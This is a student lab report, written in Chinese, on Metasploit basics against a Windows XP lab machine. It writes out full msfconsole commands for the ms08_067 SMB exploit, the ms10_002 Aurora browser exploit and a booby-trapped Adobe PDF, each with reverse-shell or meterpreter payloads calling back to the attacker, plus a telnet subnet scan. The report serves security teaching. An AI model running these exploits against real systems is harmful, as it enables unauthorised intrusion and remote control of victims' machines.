Exp5 MSF基础应用
一、实践内容
本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：
1.一个主动攻击实践，如ms08_067; （成功）
2.一个针对浏览器的攻击，如ms11_050；（成功）
3. 一个针对客户端的攻击，如Adobe；（成功）
4.成功应用任何一个辅助模块。（成功且唯一）
二、实践过程
准备工作：首先先确定Linux和XP的IP
Linux：222.28.133.16
XP：222.28.133.242
1.实现主动攻击，这里使用的是ms08_067漏洞
（1）首先进入msf平台，查找这个漏洞，可以看到他的具体目录来进行使用
（2）输入指令 use exploit/windows/smb/ms08_067_netapi，然后使用 show payloads 查看可以使用的payload，选择一个use后，可以通过 show options 查看需要设置的具体参数
（3）配置参数
输入指令 set payload generic/shell_reverse_tcp
设置攻击机ip set LHOST 222.28.133.16
设置攻击端口 set LPORT 4314
设置靶机ip set RHOST 222.28.133.242
设置自动选择目标系统类型 set target 0
（4）设置完成后就可以执行了，可以看到，已经获得了xp的权限
2.实现针对浏览器的攻击，这里使用的是ms10_002漏洞
（1）查找这个漏洞，查看他的具体目录，使用后查看可以使用的payload
（2）使用指令 use exploit/windows/browser/ms10_002_aurora
选择一个payload set payloads windows/meterpreter/reverse_http
设置相关参数，
set lhost 222.28.133.16攻击方IP；
set lport 4314 攻击方端口；
set target 0
set uripath gly 资源标识符路径设置；
（3） exploit 后，可以看到生成了一个URL，但是这里显示的 0.0.0.0 实际是本机ip，所以应该使用的是 Local IP 作为攻击的链接
（4）在xp系统里访问链接 http://222.28.133.16:8080/gly ，可以看到，kali获取了xp的权限
3.实现针对客户端的攻击
（1）输入指令 use windows/fileformat/adobe_cooltype_sing
（2）配置渗透攻击所需的配置项：
设置载荷： set payload windows/meterpreter/reverse_tcp
设置攻击机IP： set LHOST 222.28.133.16
设置端口： set LPORT 4314
设置产生的文件： set FILENAME 4314.pdf
设置完成后键入 exploit
（3）根据路径找到该pdf文件放到靶机里。
根据路径发现找不到对应的文件，因为目录是 .的，是一个隐藏目录，所以我们要设置查看隐藏文件后，找到具体文件
（4）使用命令 back 退出当前模块，启动一个对应于载荷的监听端，等待靶机回连
输入：
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 222.28.133.16 set lport 4314
（5）在靶机中打开该pdf，回连成功
4.应用scanner辅助模块（唯一）
（1）先 search scanner 查看可以使用的具体模块
（2）选择一个 telnet_version模块使用
（telnet_version辅助模块将扫描子网和指纹识别正在运行的任何远程登录服务器）
输入指令 use auxiliary/scanner/telnet/telnet_version
输入指令 show options ，查看需要设置的具体参数；
（3）参数配置
输入以下指令，
set RHOSTS 222.28.133.0/24
set RPORT 4314
set THREADS 254
（4）运行以后，得到以下结果，
三、基础问题回答
用自己的话解释什么是exploit,payload,encode.
我认为exploit就是执行、开采，利用漏洞对靶机进行相应的攻击；payload就是漏洞攻击的有效载荷，是漏洞攻击的手段，是漏洞攻击成功必要的载体；encode就是编码器，就是对攻击进行伪装。
四、实验总结与体会
通过这次实验，我们见识到了msf平台的厉害，不仅可以利用多种辅助模块获取靶机信息，还能够查看大部分存在的漏洞并利用这些漏洞实现不同攻击，这里面，直接实现主动攻击是最恐怖的，只要系统存在这个漏洞，就会被直接攻破，看来，实时更新系统是很有必要的。
